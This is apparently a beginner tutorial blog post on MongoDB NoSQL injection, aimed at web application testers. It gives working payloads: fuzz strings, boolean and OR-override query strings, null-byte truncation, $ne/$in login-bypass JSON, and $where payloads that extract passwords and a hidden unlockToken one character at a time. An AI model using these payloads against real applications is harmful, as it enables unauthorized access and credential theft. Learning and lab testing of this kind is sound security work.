NoSQL Injection Techniques and Exploits
Exploring NoSQL injection techniques, including syntax injection and operator abuse , A complete Guide For Beginner and a Refresher
NoSQL Injection Techniques and Exploits
Types
- syntax injection
- operator injection
NoSQL Syntax Injection
- Definition: Similar to SQL injection, involves breaking the query syntax and exploiting vulnerabilities.
Detecting Syntax Injection in MongoDB
- Test each input by submitting fuzz strings and special characters.
Fuzz Strings
1
'"`{ ;$Foo} $Foo \xYZ '%00
1
' " \ ; { } ( )
Testing
Example:
https://insecure-website.com/product/lookup?category=fizzy
The server handles the query as:
1
this.category == 'fizzy'
Fuzz the input using the fuzz strings and analyze the response.
Determine which characters (e.g., single or double quotes) impact the query.
Examples:
1
2
this.category == '''
this.category == '\''
Boolean Influence Testing
False Output:
1
https://insecure-website.com/product/lookup?category=fizzy'+&&+0+&&+'x
- No categories are displayed since the query evaluates to false.
True Output:
1
https://insecure-website.com/product/lookup?category=fizzy'+&&+1+&&+'x
- The
fizzy
category is displayed, indicating boolean influence.
Overriding Existing Conditions
- Use the
||
(OR) operator to override conditions, ensuring the query always returns true:
1
https://insecure-website.com/product/lookup?category=fizzy'||'1'=='1
- Server query becomes:
1
this.category == 'fizzy'||'1'=='1'
- All categories are displayed.
Null Character Injection
- MongoDB may ignore all characters after a null character (
\u0000
).
Example:
If the server query is:
1
this.category == 'fizzy' && this.released == 1
After injecting a null character:
1
this.category == 'fizzy'\u0000' && this.released == 1
- Unreleased objects may be displayed.
Operator Injection
- Definition: Abusing NoSQL operators like
$where
,$ne
,$in
, and$regex
to exploit vulnerabilities.
Injecting into Query Operators
- Example Query:
1
{"username":"wiener"}
- Queries for username =
wiener
.
Injection Example:
1
{"username":{"$ne":"invalid"}}
- Query becomes
username != invalid
, which returns all usernames exceptinvalid
.
- Transforming input:
1
username=wiener becomes username[$ne]=invalid
- Complex Query Example:
1
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
- Fetches data if the username is one of
admin
,administrator
, orsuperadmin
, and the password is not empty.
Steps to Test:
- Convert the request method from
GET
toPOST
. - Change the
Content-Type
header toapplication/json
. - Add JSON to the message body.
- Inject query operators into the JSON.
Exfiltrating Data in MongoDB
Example:
1
https://insecure-website.com/user/lookup?username=admin
Server query:
1
{"$where":"this.username == 'admin'"}
Payload Examples:
- To check if the first character of the password is
a
:
1
admin' && this.password[0] == 'a' || 'a'=='b
- To check if the password contains digits:
1
admin' && this.password.match(/\d/) || 'a'=='b
- To find the password length using binary search:
1
administrator' && this.password.length < 30 || 'a'=='b
Extracting Field Names, Lengths, and Values
Example Query:
1
2
3
4
5
6
7
8
9
10
db.user.findOne(userInfo)
let userInfo = {
"_id": "skjfskmjfsdf",
"username": "carlos",
"password": {
"$ne": ""
},
"$where": "function(){ return 0;}"
}
Steps to Extract Information:
Check error messages:
- 1: Account Locked
- 0: Invalid
Find hidden field names and their lengths:
Example Payloads:
- Find hidden field name:
1
"$where": "function(){ if(Object.keys(this)[0].match('_id')) return 1; else 0; }"
- Find hidden field name length:
1
"$where": "function(){ if(Object.keys(this)[3].length == 1) return 1; else 0; }"
- Hidden field name
unlockToken
:
1
"$where": "function(){ if(this.unlockToken.length == 1) return 1; else 0; }"
- Determine value length and content:
- Length is 16:
1
"$where": "function(){ if(this.unlockToken.length == 16) return 1; else 0; }"
- Check if value starts with
a
:
1
"$where": "function(){ if(this.unlockToken.match(/^a/)) return 1; else 0; }"
- Check if value contains digits:
1
"$where": "function(){ if(this.unlockToken.match(/\\d/)) return 1; else 0; }"
This post is licensed under CC BY 4.0 by the author.